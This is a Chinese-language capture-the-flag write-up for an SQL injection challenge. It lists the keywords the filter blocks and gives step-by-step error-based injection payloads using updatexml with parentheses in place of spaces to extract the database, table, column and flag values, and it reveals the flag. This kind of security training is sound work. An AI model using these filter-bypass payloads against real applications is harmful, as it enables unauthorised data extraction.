题目分析
1.访问网址
2.还是sql注入问题。brup抓包,检测注入点
发现其是单引号闭合,可以输入select,但是输入and,or时,会被剔除掉,所以猜测其过滤了and和or
3.所以,我们可以将select换为其他关键词,查看其究竟过滤了哪些关键词
#经过检测,发现过滤以下关键词
and
=
union
if
> < <>
sleep()
mid()
#没有过滤以下关键词
select
or
where
from
like
limit
因为过滤了各种空格的编码,所以也无法使用拼接注入
#下面的语句因为过滤了 +(空格),所以无法使用
select * from users where username='admin'un/*' and password='*/ion(user())select+database()'
4.因为我们发现,当我们输入的不正确时,会有报错,所以应该是报错注入
构造语句
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
5.获取表名字
admin'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
6.查询列名
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
7.查询flag
admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#
发现flag只有一半,为flag{58114a3b-8ad1-4067-b52b-6c
这是因为updatexml只能报错32字节,所以我们
admin'or(updatexml(1,concat(0x7e,(select(right(password,32))from(H4rDsq1)),0x7e),1#
a3b-8ad1-4067-b52b-6c5e7b48dc6a
两者拼接得到
flag{58114a3b-8ad1-4067-b52b-6c5e7b48dc6a}